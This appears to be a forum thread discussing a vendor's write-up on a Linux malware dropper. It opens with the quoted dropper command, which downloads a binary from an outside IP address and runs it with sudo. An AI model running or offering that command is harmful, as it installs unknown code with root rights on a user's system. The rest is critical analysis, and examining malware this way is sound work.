sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox && chmod +x ./tox && timeout -k 5s 1h
sudo ./tox
rm ./tox
Also, hyping up undetected Linux malware is just silly.
Yeah I agree, but since the whole essay is pretty much a sales pitch for their product, that's to be expected.
Also first-stage dropper are almost always heavyly obfuscated to avoid detection. There isn't anything novel about this and the second-stage malware actually has reasonable detection rates.
edit: They could have written the malware in python, and after decoding it run it with eval, done right it would even be cross platform. Now I'm wondering how well i could hide something like this. I gotta stop before I get swept up and start adding easter eggs.
Nope. It's `apt ... && ...`, and as the left-hand side of `&&` would fail on systems without APT, the right-hand side won't ever run, so it wouldn't work because it wouldn't ever download that `tox` binary.
In a windows malware context “fileless” means something entirely different from this.
If this malware was piggybacking on the actual python process to do its thing, then maybe you could reasonably call it “fileless”.
If your malware can be detected by a simple real-time AV scanner which just hooks file I/O, it definitely isn't fileless.
Linux emphasized because you think
- such Linux malware as there is commonly goes undetected
- there is a lot of Linux malware in some sense
- it's easy to create Linux malware that will not be detected
- something else?